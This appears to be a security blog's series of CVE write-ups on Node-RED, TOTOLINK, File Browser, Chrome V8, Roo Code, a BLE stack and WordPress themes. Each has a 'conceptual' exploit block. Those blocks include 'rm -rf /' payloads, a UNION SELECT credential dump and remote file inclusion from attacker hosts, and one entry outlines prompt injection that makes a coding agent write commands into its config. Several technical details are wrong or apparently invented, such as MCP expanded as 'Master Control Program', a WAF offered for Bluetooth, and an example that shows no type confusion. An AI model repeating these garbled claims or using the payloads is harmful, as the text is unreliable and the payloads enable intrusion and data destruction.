Author: Ameeba

CVE-2025-41656: Unauthenticated Remote Command Execution Vulnerability
Overview

CVE-2025-41656 is a critical security vulnerability that allows an unauthenticated remote attacker to execute arbitrary commands on affected devices with high privileges. This flaw results from a design oversight where, by default, the Node_RED server is not configured for authentication. It poses a potentially severe risk to systems running the affected software, leading to system compromise or data leakage. Given its severity, it’s crucial that system administrators and security teams understand the risks posed by this vulnerability and take appropriate action.

Vulnerability Summary

CVE ID: CVE-2025-41656
Severity: Critical (10.0)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise or data leakage upon successful exploitation

Affected Products

Product | Affected Versions

Node_RED Server | All versions prior to patch

How the Exploit Works

The vulnerability is due to the lack of default authentication configuration in the Node_RED server. This oversight allows an attacker to gain unauthenticated remote access to the system. Once the connection is established, the attacker can execute arbitrary commands with high privileges. The commands could lead to various malicious activities, including system compromise or data leakage.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited. This hypothetical HTTP request sends a malicious payload to the Node_RED server.
```
POST /node_red/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "command": "rm -rf /;" }
```
This JSON payload contains a command to delete all files in the system root directory, effectively causing catastrophic damage to the server.

Mitigation

The recommended mitigation for CVE-2025-41656 is to apply the vendor’s patch. If the patch cannot be applied immediately, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as a temporary mitigation. These security measures can help detect and block the malicious traffic associated with this vulnerability.
Proper configuration of the Node_RED server to require authentication for remote access is also an effective measure to prevent this vulnerability from being exploited. Regularly updating and patching your systems can help protect against such vulnerabilities in the future.
In conclusion, CVE-2025-41656 is a critical vulnerability that can cause severe damage if exploited. Therefore, it’s of utmost importance to take immediate measures to mitigate the risks associated with it.
July 6, 2025
CVE-2025-6939: Critical Buffer Overflow Vulnerability in TOTOLINK A3002RU
Overview

The CVE-2025-6939 is a critical vulnerability discovered in TOTOLINK A3002RU’s 3.0.0-B20230809.1615 version. This vulnerability resides in an unknown functionality within the /boafrm/formWlSiteSurvey file of the HTTP POST Request Handler. By manipulating the ‘submit-url’ argument, an attacker can cause a buffer overflow, leading to potential system compromise or data leakage. Given the severity of this vulnerability and its potential to be exploited remotely, immediate attention and mitigation are demanded.

Vulnerability Summary

CVE ID: CVE-2025-6939
Severity: Critical (8.8 CVSS Severity Score)
Attack Vector: Remote
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

TOTOLINK A3002RU | 3.0.0-B20230809.1615

How the Exploit Works

The vulnerability lies in the HTTP POST Request Handler of the TOTOLINK A3002RU device, specifically within the /boafrm/formWlSiteSurvey file. An attacker can exploit this vulnerability by sending a malicious HTTP POST request with a manipulated ‘submit-url’ argument. This manipulation causes a buffer overflow in the system, which can result in arbitrary code execution. Consequently, an attacker can potentially compromise the system and possibly leak sensitive data.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited:
```
POST /boafrm/formWlSiteSurvey HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
submit-url=http://malicious.example.com&...other parameters...
```
In this example, the attacker replaces the ‘submit-url’ value with a malicious URL. This leads to a buffer overflow in the system, potentially allowing the execution of arbitrary code and leading to system compromise or data leakage.

Mitigation

Users of the affected TOTOLINK A3002RU version are advised to apply the vendor patch immediately. If the vendor patch is not yet available, a temporary mitigation strategy could be to implement a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to block malicious HTTP POST requests. However, this is a temporary solution and the vendor patch should be applied as soon as it becomes available to fully mitigate the vulnerability.
July 6, 2025
CVE-2025-52903: Arbitrary Command Execution Vulnerability in File Browser
Overview

This blog post provides a comprehensive analysis of a recently discovered vulnerability, CVE-2025-52903, which affects the File Browser software. File Browser is a popular tool used for managing files within a specified directory. This critical vulnerability allows an attacker with the ‘Execute commands’ permission to perform arbitrary command execution, potentially leading to full system compromise or data leakage. The severity of this vulnerability underscores the importance of proper cybersecurity practices and the potential risks of not attending to software updates and patches promptly.

Vulnerability Summary

CVE ID: CVE-2025-52903
Severity: High (8.0)
Attack Vector: Network
Privileges Required: High (Execute commands permission)
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

File Browser | 2.32.0

How the Exploit Works

In version 2.32.0 of File Browser, a feature was introduced that allows the execution of shell commands predefined on a user-specific allowlist. However, the vulnerability arises due to the lack of validation of the executed commands, which makes it possible to execute arbitrary commands. Given the broad range of standard commands that allow the execution of subcommands, this vulnerability can be exploited by any user with the ‘Execute commands’ permission. Successful exploitation results in unrestricted code execution rights with the UID of the server process, potentially leading to complete system compromise or data leakage.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited:
```
# User logs in with 'Execute commands' permission
$ login -u user_with_execute_commands_permission
# User executes arbitrary command bypassing allowlist
$ execute_command 'rm -rf /*'
```
In this example, the user is able to execute an arbitrary command (`rm -rf /*`) that deletes all files in the system, even though it’s not on the allowlist. The severity of the possible actions goes far beyond this example and could, in practice, lead to more nefarious outcomes such as installing malware or exfiltrating sensitive data.

Prevention and Mitigation

Until the bug is fixed, the maintainers recommend completely disabling the ‘Execute commands‘ feature for all accounts. Furthermore, given that not all deployments require the command execution feature, it is suggested to operate File Browser from a distroless container image as a defense-in-depth measure.
A patch version has been issued to disable the feature for all existing installations, making it an opt-in feature and adding a warning in the documentation and on the console if the feature is enabled. It’s important to apply this vendor patch as soon as possible to mitigate potential system compromise or data leakage.
For immediate temporary mitigation, consider employing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to monitor and block suspicious activities. However, this should not be considered a long-term solution as it doesn’t address the root cause of the vulnerability.
As always, it’s crucial to maintain a regular update and patch management routine to protect your systems against known vulnerabilities.
July 6, 2025
CVE-2025-51672: Time-Based Blind SQL Injection Vulnerability in PHPGurukul Dairy Farm Shop Management System
Overview

In the constantly evolving landscape of cybersecurity, one of the persistent threats is SQL Injection. This blog post discusses a recent discovery of a time-based blind SQL injection vulnerability, CVE-2025-51672, in the PHPGurukul Dairy Farm Shop Management System version 1.3. The identification and mitigation of such vulnerabilities are critical to maintaining robust cybersecurity, as they can potentially lead to unauthorized system access, data leakage, and even system compromise.

Vulnerability Summary

CVE ID: CVE-2025-51672
Severity: High (8.0 – CVSS Score)
Attack Vector: Remote Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

PHPGurukul Dairy Farm Shop Management System | 1.3

How the Exploit Works

The vulnerability resides in the manage-companies.php file of the PHPGurukul Dairy Farm Shop Management System. The software does not properly sanitize user-supplied input in the companyname parameter in a POST request. An attacker can inject arbitrary SQL code into the POST request, which the server then processes as a valid SQL command. This allows the attacker to manipulate the database, potentially leading to unauthorized access, data leakage, or system compromise.

Conceptual Example Code

Here is a conceptual example of a malicious HTTP POST request exploiting this vulnerability:
```
POST /manage-companies.php HTTP/1.1
Host: targetsite.com
Content-Type: application/x-www-form-urlencoded
companyname=' UNION SELECT username, password FROM users WHERE 'x'='x
```
In this example, the attacker uses the UNION SQL command to combine the results of their injected SELECT command with the results of the original SQL query. The WHERE ‘x’=’x condition always evaluates to true, causing the injected SELECT command to return all usernames and passwords from the users table.

Mitigation Guidance

The recommended mitigation for this vulnerability is to apply the vendor-supplied patch as soon as it is available. In the interim, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can help detect and block attempts to exploit this vulnerability. Furthermore, it is always a good practice to sanitize all user-supplied inputs to prevent SQL injection attacks.
July 6, 2025
CVE-2025-53095: Critical CSRF Vulnerability in Sunshine game stream host
Overview

The world of cybersecurity is an ever-changing landscape, where new vulnerabilities are frequently discovered. One such vulnerability has been found in Sunshine, a popular self-hosted game stream host for Moonlight. This vulnerability, identified as CVE-2025-53095, is a serious threat to the safety and security of Sunshine users and their systems.
Sunshine prior to version 2025.628.4510 is susceptible to Cross-Site Request Forgery (CSRF) attacks, a type of malicious exploit that manipulates authenticated users into executing unintended actions. This vulnerability is particularly dangerous as it can lead to potential system compromise or data leakage, making it a critical issue that needs to be addressed immediately.

Vulnerability Summary

CVE ID: CVE-2025-53095
Severity: Critical, CVSS Score: 9.6
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Sunshine | Prior to version 2025.628.4510

How the Exploit Works

The CSRF vulnerability in Sunshine allows an attacker to craft a malicious web page. When an authenticated user visits this web page, it can trigger unintended actions within the Sunshine application on behalf of that user. Specifically, the application does OS command execution by design. This issue can be exploited to abuse the “Command Preparations” feature, enabling an attacker to inject arbitrary commands that will be executed with Administrator privileges when an application is launched.

Conceptual Example Code

The following is a conceptual example of how the vulnerability might be exploited. Note that this is a simplified scenario used for illustrative purposes and does not contain actual malicious code.
```
POST /startgame HTTP/1.1
Host: sunshine.example.com
Content-Type: application/json
Cookie: authenticated_user_cookie
{
"commandPreparations": "rm -rf /"
}
```
In this example, an attacker could create a web page that, when visited by an authenticated Sunshine user, sends a POST request to the Sunshine server. The `commandPreparations` attribute in the JSON payload is set to a destructive command (`rm -rf /`), which, if executed, would delete all files in the system.
July 6, 2025
CVE-2025-6554: High-Risk Type Confusion Vulnerability in Google Chrome’s V8 Engine
Overview

The cybersecurity community has recently identified a high-risk vulnerability in Google Chrome affecting the V8 JavaScript engine, specifically in versions prior to 138.0.7204.96. The vulnerability is designated as CVE-2025-6554 and is of significant concern due to the potential for remote attackers to exploit it through a carefully crafted HTML page, enabling unauthorized arbitrary read/write operations.
The wide adoption of Google Chrome as a preferred browser across various platforms, including Windows, macOS, and Linux, presents a considerable attack surface for potential exploitation. This coupled with the severity of the impact – potential system compromise or data leakage, necessitates immediate attention to this vulnerability.

Vulnerability Summary

CVE ID: CVE-2025-6554
Severity: High (CVSS Score: 8.1)
Attack Vector: Remote
Privileges Required: None
User Interaction: Required
Impact: System compromise, potential data leakage

Affected Products

Product | Affected Versions

Google Chrome | Prior to 138.0.7204.96

How the Exploit Works

The vulnerability resides in the V8 JavaScript engine, a critical component of the Google Chrome browser. It is a type confusion vulnerability, a class of issue where a piece of code does not verify the type of object that is passed to it, and it uses the object without type-checking.
In the case of CVE-2025-6554, a remote attacker can craft a specific HTML page to exploit this vulnerability. When a user visits this page using a vulnerable version of Chrome, the malicious code embedded in the HTML could trigger the type confusion in V8, leading to arbitrary read/write operations. This could potentially compromise the user’s system or lead to data leakage.

Conceptual Example Code

While the specific exploit code remains undisclosed to prevent misuse, the following pseudocode illustrates the nature of the exploitation:
```
// Vulnerable function in V8 engine
function vulnerableFunction(obj) {
// Assuming obj is always of type Array
return obj.length;
}
// Malicious code
let maliciousObj = {
length: 'This is not a number, causing type confusion'
};
// Triggering the vulnerability
vulnerableFunction(maliciousObj);
```
This example demonstrates the concept of a type confusion vulnerability. The malicious object is passed into a function which expects an Array object, triggering the vulnerability and leading to unexpected behavior.

Mitigation Guidance

To mitigate the risks associated with CVE-2025-6554, users are advised to apply the latest vendor-provided patches from Google, which address this vulnerability. If unable to immediately apply the patch, it is recommended to utilize Web Application Firewalls (WAFs) or Intrusion Detection Systems (IDS) as a temporary measure to detect and prevent potential exploitation attempts. Regularly updating and patching software remains the most effective method to prevent exploitation of such vulnerabilities.
July 6, 2025
CVE-2025-53098: Arbitrary Command Execution in Roo Code via MCP Configuration
Overview

We are addressing a significant vulnerability that affects Roo Code, an AI-powered autonomous coding agent. The vulnerability, officially assigned as CVE-2025-53098, has the potential to compromise the integrity, confidentiality, and availability of the system. An attacker with specific access permissions can craft a prompt that manipulates Roo Code into writing harmful commands into a configuration file. This can lead to the execution of arbitrary commands that could compromise the system or lead to data leakage. The severity of this vulnerability lies in its potential for exploitation, emphasizing the need for immediate attention and mitigation.

Vulnerability Summary

CVE ID: CVE-2025-53098
Severity: Moderate (CVSS: 8.1)
Attack Vector: Local
Privileges Required: Low
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Roo Code | Prior to 3.20.3

How the Exploit Works

The exploit takes advantage of the MCP (Master Control Program) configuration format’s ability to execute arbitrary commands in Roo Code. An attacker with certain permissions, for instance through a prompt injection attack, can craft a prompt that makes the agent write a harmful command into the MCP configuration file. If the user has enabled the auto-approving file writes within the project, this could lead to arbitrary command execution, compromising the system or causing data leakage.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited. This is a pseudocode example that illustrates the crafting of a malicious prompt:
```
# Attacker gains access to submit prompts to the agent
attacker_access = gain_access(agent)
# Craft a prompt that writes malicious command into the MCP configuration file
malicious_prompt = craft_prompt('write', '.roo/mcp.json', 'malicious_command')
# Submit the crafted prompt to the agent
submit_prompt(attacker_access, malicious_prompt)
```
Please note that this is a simplified example and actual exploitation would likely involve more complex and specific commands, taking into account the specific configuration and setup of the targeted system.
July 6, 2025
CVE-2025-44557: Critical Authentication Bypass in Bluetooth Low Energy (BLE) Stack
Overview

The Common Vulnerabilities and Exposures (CVE) system has identified a significant vulnerability in the Bluetooth Low Energy (BLE) stack of Cypress PSoC4 v3.66, affecting a multitude of devices across various industries. Identified as CVE-2025-44557, this security flaw involves a state machine transition flaw that allows potential attackers to bypass pairing processes and authentication through a carefully crafted ‘pairing_failed’ packet. This vulnerability is particularly concerning due to the widespread use of BLE in devices such as smartphones, laptops, and IoT devices, making it a potentially vast attack surface.

Vulnerability Summary

CVE ID: CVE-2025-44557
Severity: Critical, CVSS score 8.1
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

Cypress PSoC4 | v3.66

How the Exploit Works

The exploit takes advantage of a state machine transition flaw in the BLE stack. In essence, the state machine, which is responsible for managing the different stages of the BLE pairing process, can be manipulated by a malicious ‘pairing_failed’ packet. This packet causes the state machine to transition to a state where it believes the pairing process has failed and needs to restart. In this state, the authentication measures are temporarily disabled, allowing the attacker to bypass them entirely and gain unauthorized access to the system.

Conceptual Example Code

While the specific exploit code is beyond the scope of this blog post, the following pseudocode gives a rough idea of how an attacker might craft a malicious ‘pairing_failed’ packet:
```
def craft_malicious_packet():
packet = BLE_Packet()
packet.type = 'pairing_failed'
packet.payload = 'malicious_payload'
return packet
def send_packet(target, packet):
target_ble = connect_to_ble(target)
target_ble.send(packet)
target = 'target_device_address'
malicious_packet = craft_malicious_packet()
send_packet(target, malicious_packet)
```
In this conceptual example, a malicious packet is crafted and sent to the target device. The packet type is set to ‘pairing_failed’, tricking the state machine into a state where authentication is bypassed, and the payload contains the malicious code that exploits this vulnerability. The resulting compromised system or data leakage could have severe consequences, particularly if the target device is a crucial component of a larger network.
For appropriate mitigation guidance, users are advised to apply the vendor patch as soon as possible. If immediate application of the patch is not possible, the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation measure.
July 6, 2025
CVE-2025-52816: PHP Remote File Inclusion Vulnerability in ThemeHunk Zita
Overview

CVE-2025-52816 is a critical cybersecurity vulnerability that affects the ThemeHunk Zita theme for WordPress websites. It involves an Improper Control of Filename for Include/Require Statement in PHP Program, often referred to as ‘PHP Remote File Inclusion’. The vulnerability can lead to potential system compromise or data leakage, making it a significant concern for website owners and developers who utilize the Zita theme. Given the vast number of WordPress websites on the internet today, this vulnerability could have widespread implications if not addressed promptly.

Vulnerability Summary

CVE ID: CVE-2025-52816
Severity: High – 8.1 (CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

ThemeHunk Zita | Versions prior to 1.6.5

How the Exploit Works

This vulnerability exists due to an improper control of filename for Include/Require Statement in the PHP program of the ThemeHunk Zita theme. An attacker can exploit this vulnerability by sending a specially-crafted request to the website running on the vulnerable theme. The attacker can include a reference to a remote file that contains malicious PHP code. When processed by the server, this code will be executed, potentially leading to system compromise or data leakage.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited. Note that this is a conceptual code and may not work as is.
```
GET /index.php?page=http://malicious-website.com/malicious-code.txt HTTP/1.1
Host: vulnerable-website.com
```
In this example, the attacker is exploiting the ‘page’ parameter to include a remote file (malicious-code.txt) hosted on a malicious website. When this request is processed by the server, the malicious PHP code within the included file will be executed.

Mitigation Guidance

Users of the ThemeHunk Zita theme are strongly advised to update to the latest version to address this vulnerability. If this is not possible, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as a temporary mitigation measure to block requests that attempt to exploit this vulnerability. However, these are only temporary solutions and upgrading to the patched version is the recommended course of action to fully mitigate this vulnerability.
July 6, 2025
CVE-2025-52815: PHP Remote File Inclusion Vulnerability in AncoraThemes CityGov
Overview

The Common Vulnerabilities and Exposures (CVE) system has recently released a vulnerability report CVE-2025-52815, which underscores a significant potential security issue in AncoraThemes CityGov. This vulnerability pertains to an ‘Improper Control of Filename for Include/Require Statement in PHP Program’ or more commonly known as ‘PHP Remote File Inclusion’. The vulnerability affects the versions of CityGov from n/a through 1.9. This vulnerability is critical because it can lead to a potential system compromise or data leakage, making it a significant concern for the cybersecurity community.

Vulnerability Summary

CVE ID: CVE-2025-52815
Severity: High (8.1 CVSS Severity Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

AncoraThemes CityGov | n/a through 1.9

How the Exploit Works

The PHP Remote File Inclusion vulnerability in AncoraThemes CityGov works by leveraging the improper control of filename for include/require statement in PHP Program. This allows an attacker to inject malicious PHP scripts or files to be included and executed by the server. The vulnerability allows for Local File Inclusion (LFI), which permits attackers to include local files from the server, potentially exposing sensitive information or executing malicious code.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited. This could be a sample HTTP request, injected with a malicious payload.
```
GET /index.php?file=http://attacker.com/malicious.php HTTP/1.1
Host: target.example.com
```
In this example, the attacker tricks the server into including and executing the malicious.php file from their server.

Mitigation Guidance

Given the high severity of this vulnerability, it’s paramount to apply the vendor-released patch immediately. If the patch cannot be applied immediately, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation strategy. These systems can be configured to block or alert on attempts to exploit this vulnerability until the official patch can be applied. However, this is a stop-gap solution, and appropriate patches should be applied as soon as possible to fully mitigate the risk.
July 6, 2025